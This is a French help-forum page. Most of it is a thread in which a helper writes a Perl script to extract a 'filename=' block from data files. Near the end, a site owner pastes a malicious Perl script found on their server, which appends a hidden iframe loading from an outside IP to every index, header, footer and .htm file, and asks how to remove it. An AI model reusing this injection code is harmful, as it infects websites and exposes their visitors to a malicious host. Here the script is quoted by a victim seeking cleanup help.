|
|
|
|
titexe, le lundi 27 novembre 2006 à 20:29:08Salut, #!/usr/bin/perl
use strict;use warnings;
open F_LIRE,"fichier"
or die "E/S : $!\n";
open F_ECRIRE,">> resultat"
or die "E/S : $!\n";
while(<F_LIRE>){
print F_ECRIRE if /^filename=/.../^\s*$/;
}
close F_LIRE;
close F_ECRIRE;
__END__
lami20j
|
Re, open F_LIRE,"fichier" or die "E/S : $!\n";J'ouvre une connexion(handle) du script vers le fichier appellé fichier En langage plus naturel, j'ouvre en lecture le fichier appellé fichier au lieu de fichier on peut aussi écrire /chemin/vers/fichier open F_LIRE,"/chemin/vers/fichier" or die "E/S : $!\n";J'appelle cette connexion (ouverture), F_LIRE open F_ECRIRE,">> resultat" or die "E/S : $!\n";J'ouvre une connexion(handle) du script vers le fichier resultat Il s'agit d'une ouverture en mode ajout. Le mode ajoute n'écrase pas le fichier s'il existe et il ajoute à la fin au lieu de resultat on peut écrire aussi /chemin/vers/resultat open F_ECRIRE,">> /chemin/vers/resultat" or die "E/S : $!\n";J'appelle cette connexion (ouverture en mode ajout), F_ECRIRE while(<F_LIRE>){
print F_ECRIRE if /^filename=/.../^\s*$/;
}Ici je lis le fichier ligne par ligne en utilisant l'opérateur diamant <> et le nom de ma connexion en lecture
et écrit dans resultat seulement le paragraphe compris entre filename= et la ligne vide après le paragraphe (donc ce que tu as besoin print F_ECRIRE if /^filename=/.../^\s*$/; veut dire écrit dans resultat si compris entre filename= et la ligne vide après le paragraphe close F_LIRE; close F_ECRIRE;fermeture de la connexion vers les fichiers une fois le travail terminé. Pour exécuter le script tu tapes simplement mon_script.plaprès avoir attribuer les droit d'exécution chmod a+x mon_script.plou perl mon_script.pllami20j |
Re,
j'ai essayé de faire ce que tu m'as dis , mais on exécutant il me sort des messages d'erreurs , et il crée pas le fichier resultat; extract.pl: #!/usr/bin/perl use strict;use warnings; open F_LIRE,"D:\Shared\Perl\F0006741.dc" or die "E/S : $!\n"; open F_ECRIRE,">> D:\Shared\Perl\resultat" or die "E/S : $!\n"; while(<F_LIRE>){ print F_ECRIRE if /^filename=/.../^\s*$/; } close F_LIRE; close F_ECRIRE; __END__ et voila le message d'erreur qui m'affiche : D:\Shared\Perl>perl extract.pl Unrecognized escape \S passed through at extract.pl line 5. Unrecognized escape \P passed through at extract.pl line 5. Unrecognized escape \F passed through at extract.pl line 5. Unrecognized escape \S passed through at extract.pl line 8. Unrecognized escape \P passed through at extract.pl line 8. E/S : No such file or directory D:\Shared\Perl> es ce qu'on peut mettre le fichier d'entrée comme variable ? genre : perl extract.pl mon_fichier ? Merci encore une fois, |
Essaie #!/chemin/vers/ton/perl
use strict;use warnings;
open F_LIRE,'D:\Shared\Perl\F0006741.dc'
or die "E/S : $!\n";
open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
or die "E/S : $!\n";
while(<F_LIRE>){
print F_ECRIRE if /^filename=/.../^\s*$/;
}
close F_LIRE;
close F_ECRIRE;
__END__
lami20j |
re,
merci pour ta réactivité, le script s'exécute sans erreurs mais le fichiers resultat.txt est vide? Merci encore une fois |
Salut,
Je vois ce que c'est. C'est pour ça qu'il faut faire attention de ce qu'on doit comme info tu as dit filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl" @|99|OR|99|CT|200608091600|2006|212121||DD|TEST|||| D|2006|121201300030001011|08|1|1014|1365|xxxxx|1|1|10|10/01/2005|20/01=/2005|||||| D|2006|121201300030001012|08|1|1014|1365|xxxxxxx|1|2|11|10/01/2005|20/01=/2005|||||| D|2006|121201300000001040|08|1|1014|1365|xxxxxxx|2|3|15|15/01/2005|21/01=/2005|||||| D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005|||||| D|2006|320011300800001011|08|3200113008|1014|1365|4000000|3|5|12|12/01/2005|21/01/2005|||||| D|2006|320011300800001020|08|3200113008|1014|1365|4000000|3|6|13|13/01/2=2005|21/01/2005|||||| &|6| mais en fait c'est filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl" @|99|OB|99|CO|200608091600|2006|212121||DD|TEST|||| D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01= /2005|||||| D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01= /2005|||||| D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01= /2005|||||| D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01= /2005|||||| D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2= 005|21/01/2005|||||| D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2= 005|21/01/2005|||||| &|6|Et ça change tout. Donc il y a une ligne vide entre la ligne avec filename et le paragraphe En plus filename n'est pas au début de la ligne, avant il y a des espaces moi je cherchais ^filename, donc un filename au début de ligne jusqu'à la ligne vide qui fini le paragraphe tu comprends le problème?! je vais voir ce soir, je n'ai pas la possibilité de tester lami20j |
essaie avec #!/chemin/vers/ton/perl
use strict;use warnings;
open F_LIRE,'D:\Shared\Perl\F0006741.dc'
or die "E/S : $!\n";
open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
or die "E/S : $!\n";
while(<F_LIRE>){
print F_ECRIRE if /\s+filename=/.../^---/;
}
close F_LIRE;
close F_ECRIRE;
__END__ lami20j
P.S. le script s'exécute sans erreurs mais le fichiers resultat.txt est vide? Le fait que le fichier resultat.txt a été créé veut dire que le script fonctionne. Mais à cause de format que tu as donné au début il ne trouve rien, donc il n'écrit rien dans le fichier que le script a créé |
ca marche lami20j;merci beaucoup;
voila le contenu du fichier resultat.txt filename="OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl" @|99|OB|99|CO|200608091600|2006|212121||DD|TEST|||| D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01= /2005|||||| D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01= /2005|||||| D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01= /2005|||||| D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01= /2005|||||| D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2= 005|21/01/2005|||||| D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2= 005|21/01/2005|||||| &|6| juste un dernier truc, comment rendre le nom du fichier comme argument; 1/ genre : perl extract.pl D:\Shared\Perl\F0006741.dc ? 2/ comment enlever les retour chariot dans le fichier resultat.txt*le fichier doit etre comme ca : @|99|OB|99|CO|200608091600|2006|212121||DD|TEST|||| D|2006|121201300030001011|08|1|1014|1365|xxxxxxxx|1|1|10|10/01/2005|20/01=/2005|||||| D|2006|121201300030001012|08|1|1014|1365|xxxxxxxx|1|2|11|10/01/2005|20/01=/2005|||||| D|2006|121201300000001040|08|1|1014|1365|xxxxxxxx|2|3|15|15/01/2005|21/01=/2005|||||| D|2006|121201300000001060|08|1|1014|1365|xxxxxxxx|2|4|16|15/01/2005|21/01=/2005|||||| D|2006|320011300800001011|08|3200113008|1014|1365|xxxxxxxx|3|5|12|12/01/2=005|21/01/2005|||||| D|2006|320011300800001020|08|3200113008|1014|1365|xxxxxxxx|3|6|13|13/01/2=005|21/01/2005|||||| &|6| Merci encore une fois. |
Re,
juste un dernier truc, comment rendre le nom du fichier comme argument; 1/ genre : perl extract.pl D:\Shared\Perl\F0006741.dc ? #!/chemin/vers/ton/perl
use strict;use warnings;
open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
or die "E/S : $!\n";
while(<>){
print F_ECRIRE if /\s+filename=/.../^---/;
}
close F_ECRIRE;
__END__
2/ comment enlever les retour chariot dans le fichier resultat.txt* essaie ça (je n'ai pas testé) #!/chemin/vers/ton/perl
use strict;use warnings;
open F_ECRIRE,'>> D:\Shared\Perl\resultat.txt'
or die "E/S : $!\n";
while(<>){
s/(\d=)\r?\n?/$1/;
print F_ECRIRE if /\s+filename=/.../^---/;
}
close F_ECRIRE;
__END__ lami20j |
Pardon lami20j,
je sais que j'ai abusé, je m'excuse encore une fois , c'est trés important pour moi de résoudre ce probléme, le plus vite possible, merci encore une fois; |
Merci infinément,
ca a marché pour les 2 points; le fichier en argument , et le retour chariot; maintenant je vais lancé ce script perl a partir d'un script shell, #!/bin/sh /usr/bin/perl -x extract.pl F0006741.dc es ce que cette commande est juste? Merci encore une fois; |
Tu es toujours sous windows? |
ton script je l'ai testé sur os windows, mais je veux l'integré dans un script shell dans un environnement Unix ( os = AIX) |
Re
#!/bin/sh /usr/bin/perl extract.pl F0006741.dc mais je veux l'integré dans un script shell dans un environnement Unix Dans ce cas il faut faire attention pour les caractère nouvelle ligne \n et retour chariot \r. Il faut tester le script pour voir ce que ça donne. Tu risques d'avoir des erreurs. lami20j |
merci encore une fois :-)
je voyais ce resultat comme un reve, maintenant le traitement que je vais effectué aprés avec ( awk et shell) , je vais recuperer de ce fichier resultat.txt le nom du fichier qui se trouve dans filename="nom_du_fichier". et je vais supprimer les 2 premiéres lignes et les 2 derniéres comme ca j'aurais juste le contenu du fichier, je vous informe que ces fichiers je les recoient dans une plateforme d'echange ,et je doit extraire du fichier originale le nom du fichier et son contenu: nom du fichier= OR99CT99SMIMESIGNECRYPTE_15-11-2006.unl contenu = @|99|OR|99|CT|200608091600|2006|212121||OD|ACTES|||| D|2006|121201300030001011|08|1|1014|1365|300000.0|1|1|10|10/01/2005|20/01=/2005|||||| D|2006|121201300030001012|08|1|1014|1365|200000.0|1|2|11|10/01/2005|20/01=/2005|||||| D|2006|121201300000001040|08|1|1014|1365|400000.0|2|3|15|15/01/2005|21/01=/2005|||||| D|2006|121201300000001060|08|1|1014|1365|300000.0|2|4|16|15/01/2005|21/01=/2005|||||| D|2006|320011300800001011|08|3200113008|1014|1365|400000.0|3|5|12|12/01/2=005|21/01/2005|||||| D|2006|320011300800001020|08|3200113008|1014|1365|400000.0|3|6|13|13/01/2=005|21/01/2005|||||| &|6| juste pour vous information; merci encore une fois, j'ai encore des traitements maintenant a faire avec awk et shell pour obtenir ce qui précede. es ce que je peux avoir vos suggestions a ce propos? Merci beaucoup lami20j |
je voyais ce resultat comme un reve,
Avec CCCM = Communauté|entre|onsortium Comment Ça Marche les rêves deviennent réalités. je vais effectué aprés avec ( awk et shell) Bon, je ne vais pas exagéré de te demander pourquoi tu ne veux pas faire ça en perl. Pfffff!!! Je viens de le faire :-))))))))))) J'espère que les maîtres jipicy et asevere ou asevere et jipicy passeront par là :-) lami20j |
Bonjour,
J'ai eu une attaque sur un de mes sites de la façon suivante (fichiet iframer.pl à la racine du site) : #!/usr/bin/perl use File::Find; $iframe = '<iframe src="http://124.217.252.62/~admin/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>'; sub process_file { if($File::Find::name =~ /index\.php/i || $File::Find::name =~ /footer\.php/i || $File::Find::name =~ /header\.php/i || $File::Find::name =~/\.htm/i){ open(FILE,">>$File::Find::name"); print $File::Find::name."\r\n"; print FILE $iframe; close(FILE); } } find(\&process_file,@ARGV); Celui a infecté tous les fichiers nommés ci-dessus... Pouvez-vous m'aider pour coder en perl une action qui supprimerai l'iframe dans tous les fichiers infectés en automatique. Je suis désolé de m'y prendre comme cela mais je suis néophyte en Perl. Merci d'avance pour votre aide. Bien à vous. |
Salut,
je pourrai peut être t'aider ton site est hebergé par qui? 106485010510997108
|
je te conseille de rien faire et avoir un peu de patience
je vais regarder ce soir j'aimerai aussi que tu mets sur cjoint.com un fichier pour que je puisse faire des tests merci 106485010510997108
|
| 24/04 12h24 | Comment ça marche "tar" | Linux |
| 20/10 20h15 | Logiciels de gravure gratuits | Gravure |
| 01/11 01h50 | Message d'erreur : C:\windows\system32\autoexec.nt | Windows |
| 27/06 14h16 | [Unix] Lire le synopsis d'un man | Unix |
| 11/09 22h59 | [Gravure] Graver une image disque (ISO, NRG, ...) | Gravure |
| 06/05 14h45 | [PERL] lire contenu fichier .xls | 25 |
| 07/05 20h54 | Extraire contenu d'1 fichier rpm sous mingw | 0 |
| 02/07 15h57 | [SH] Extraction nom fichier d'un PATH |